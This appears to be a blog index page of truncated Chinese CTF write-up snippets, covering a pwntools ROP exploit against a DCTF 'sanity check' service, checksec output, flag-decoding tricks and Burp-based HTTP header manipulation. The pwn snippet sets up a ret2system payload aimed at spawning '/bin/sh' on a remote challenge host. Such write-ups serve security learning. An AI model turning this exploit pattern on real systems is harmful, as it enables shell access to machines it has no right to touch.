yutianovo的博客

pwnPwn sanity checkfrom pwn import *context.log_level = 'debug'# io = process("./pwn_sanity_check")io = remote("dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io", 7480)pop_rdi = 0x0000000000400813system_plt = 0x4006e2bin_sh = 0x40089Epayl

blog http://blog.yutian233.xyz/C is hard➜ ctf21 checksec source_fixed [*] '/home/yutian/ctf21/source_fixed' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

Chicken Wings在线解码http://grompe.org.ru/static/wingdings_gaster.html然后在转换全小写Shoelaces010 打开图片搜索 flag 字符串得到esab64flag = "mxWYntnZiVjMxEjY0kDOhZWZ4cjYxIGZwQmY2ATMxEzNlFjNl13X"print(flag[::-1])flag2 = "_}e61e711106bd0db1b78efa894b1125bf{galf"print

Week1hitchhiking_in_the_Galaxy点进去题目是这样的burp 抓包 点击蓝色题目得到更改请求方式为 POST 后得到这样一句话 只有使用"无限非概率引擎"(Infinite Improbability Drive)才能访问这里～增加过后根据提示依次增加请求头最后得到flagPOST /HitchhikerGuide.php HTTP/1.1Host: hitchhiker42.0727.site:42420User-Agent: Infini